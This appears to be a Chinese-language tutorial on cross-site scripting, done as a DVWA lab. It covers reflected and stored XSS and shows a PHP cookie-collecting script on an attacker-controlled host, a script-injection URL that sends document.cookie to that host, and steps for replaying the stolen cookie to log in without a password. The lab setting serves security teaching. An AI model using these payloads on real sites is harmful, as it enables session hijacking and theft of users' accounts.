一、XSS简介
XSS(Cross Site Script),全称为跨站脚本攻击,为了与CSS(Cascading Style Sheet)层叠样式表有所区别,所以在安全领域称为XSS。
XSS攻击,通常是指黑客通过HTML注入(控制输入变量)篡改网页,插入恶意脚本,从而在用户浏览网页的时候,控制用户浏览器的一种攻击行为。在这种行为最初出现的时候,所有的演示案例全是跨域行为,所以叫做“跨站脚本”。时至今日,随着web端功能的复杂化,应用化,是否跨站已经不重要了,但是XSS这个名字一直保持了下来。
举例说明:编写一个页面并把输入的内容显示在网页上。
测试该网页实现的内容
源码:
用户提交的数据会反馈到页面上,比如搜索引擎就属于这种。如果用户提交的数据就是超预期的精心构造的恶意代码呢?如下所示:
弹窗的原代码
这种情况显然是开发者不愿意看到的,上述类型的XSS就是反射性XSS攻击,对用户提交的输入没有做任何的过滤或者过滤不足使得恶意代码插入到了服务器响应的HTML文件中,这是XSS漏洞的主要特征。反射型XSS主要是诱导用户点击一个恶意链接才能成功,这种行为往往是一次性的,所有也叫“非持久性XSS”。
初学者往往对于上述攻击的“大费周章”往往不能理解,什么不诱导用户直接访问攻击者页面呢,原因是浏览器为防止不同域在用户浏览器中彼此干扰,会对不同域收到的内容进行隔离,攻击者的目的往往是获取用户在目标网站的cookie而不是单纯执行脚本,浏览器一般不会允许任何非当前脚本访问一个站点的cookie,这样做是防止会话劫持,并且浏览器允许发布cookie的网站才能读取该网站存储在用户的cookie,那么也就是说我们只有通过目标网站发送给用户浏览器的脚本才能读取该网站在用户存储的cookie并提交。
以上就是其实就是反射型XSS漏洞!
二、XSS分类
1、反射型XSS漏洞
反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者就必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击,具体步骤如图所示。
举例说明,在一个攻击者准备的网站目录先创建一个PHP文件,并写入如下内容
<html>
<p>
<?php
$cookie=$_GET['cookie'];
$log=fopen('cookie.txt',"w");
fwrite($log,$cookie."\n");
fclose($log);
echo "successful";
?>
</p>
</html>
构造一个URL诱导用户进行访问
http://192.168.150.100/DVWA-1.9/vulnerabilities/xss_r/?name=<script>documnet.location='http://192.168.150.103/test/test.php?cookie='+document.cookie;</script>
“+”号可以使用%2B代替以防止被url转码
点击该url进行访问:
在接收文件中可以看到捕获的cookie
内容如下:
在火狐浏览器中右键查看元素,修改cookie为捕获后的值。
修改后,直接点击登录,会发现不需要输入账号和密码就可以直接登录成功。
实验完成!
2、存储型XSS漏洞
存储型XSS能够把用户提交的数据库保存在网站中,这种攻击的稳定性比较好,一般是游湖用户提交的数据没有经过过滤而导致的,常见的场景就是在网站的留言板块、博客、论坛发帖等,比如一个问答网站,黑客提出一个包含恶意脚本的问题,网站的后台没有做出任何的输出过滤,那么查看该问题的用户浏览器都会自动执行该恶意脚本。
反射型XSS攻击,攻击者必须以某种方式诱导用户访问其设置的url,存储型没这个限制,一旦攻击网站成功攻击者只需要等待用户去访问攻击成功的页面即可,再者反射型攻击必须是用户正在访问该网站并且网站时登录状态才是有效的,二存储型中当用户访问恶意代码保存页面时他必须是正在访问状态并其可以把页面设置在验证区。综上所述我们知道存储型XSS往往危害更大。
攻击示例:
利用脚本如发射型的代码
会发现其存在上传字数限制,我们可以修改上传字数长度或取消长度限制,这里我们修改长度为500,成功上传代码。
代码上传成功!
点击该页面显示攻击成功。
获取到了用户的cookie
如何利用cookie就像前面一样就可以了!